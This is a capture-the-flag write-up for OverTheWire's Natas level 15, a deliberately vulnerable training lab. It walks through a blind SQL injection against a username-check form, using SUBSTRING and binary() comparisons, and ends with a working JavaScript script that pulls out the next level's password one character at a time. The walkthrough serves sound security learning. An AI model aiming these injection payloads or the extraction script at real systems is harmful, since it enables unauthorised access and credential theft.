Natas Level 15

natas level 15 msg

We have a box here we can use to check whether a username exists or not.  I started out trying some regular inputs like this:

natas level 15 test 1

Then I tried something more devious, a single quotation mark:

natas level 15 test 2

We get an error message, but it’s not as specific as the last level.  This time it just tells us we have an error.  By looking at the source code it looks like we should be able to inject SQL code via $_REQUEST[“username”] by adding quotes, just like level 14.  From our quick tests we know that when there is a valid query it returns either:

“This user exists” OR “This user doesn’t exist.”

And if our query is invalid syntactically it returns:

“Error in query.”

This is an example of Blind SQL Injection.

Let’s see what would happen if we passed an argument like:

natas16 ” and SUBSTRING(password, 1, 1) = “a

natas level 15 test 3

Here we are testing to see if the user natas16 exists (which we know is true) AND that the first character of the password belonging to natas16 is “a”.  Here we can tell that “a” is not the first character of the password because we get the response “This user doesn’t exist”.  Let’s guess another letter:

natas level 15 test 5

We guessed “W” and it returned “This user exists”.  This tells us that the first character of the password is “W”.  Now we could go along this way guessing every character manually, and making sure to increase our substring() index.  Or we could be lazy and code a quick javascript to do this for us.  Let’s try that:

natas level 15 first try script

Splendid!  Only problem is when we try that password it doesn’t work :/

Hmmm all the letters are uppercase.  Turns out the equals operator is case insensitive when comparing strings.  Problem and solution demonstrated below by using the binary() function:

natas level 15 binary operator

Here’s the final version of the script to play with.  You can run it by opening the natas15 page, and hitting ctrl+shift+k (if you are using the correct browser) then pasting in the code and hitting enter.  I won’t outline what it’s doing, but if you aren’t sure of what’s going on feel free to comment or google the functions yourself.

string = "";
for (j = 1; j < 40; j++)  {
    for(i = 48; i < 127; i++) {
        if (i == 34) { continue; }
        if (i == 92) { continue; }
        query = 'username=natas16 " and binary(SUBSTRING(password,' + j + ', 1)) = "' + String.fromCharCode(i);
        xhr = new XMLHttpRequest();
        xhr.open("POST", "http://natas15.natas.labs.overthewire.org/index.php", false);
        xhr.setRequestHeader("Content-type","application/x-www-form-urlencoded");
        xhr.send(query);
        if (xhr.response.indexOf("This user doesn't exist.") == -1) {
            console.log(String.fromCharCode(i));
            string += String.fromCharCode(i);
            break;
        }
    }
}
console.log(string);